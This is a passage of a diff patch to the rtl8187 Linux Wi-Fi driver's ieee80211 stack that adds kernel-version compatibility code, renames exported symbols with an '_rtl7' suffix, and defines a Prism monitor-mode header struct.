sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211.h 2006-06-05 22:57:56.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h 2008-08-12 14:23:20.000000000 -0400 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,21 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) - -extern inline void *ieee80211_priv(struct net_device *dev) +#if WIRELESS_EXT >= 22 +static inline void *ieee80211_priv_rtl7(struct net_device *dev) +#else +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) +#endif { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1200,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1226,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1254,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1401,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1419,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_module.c 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c 2008-08-12 13:11:32.000000000 -0400 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_rx.c 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c 2008-08-12 13:11:32.000000000 -0400 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct 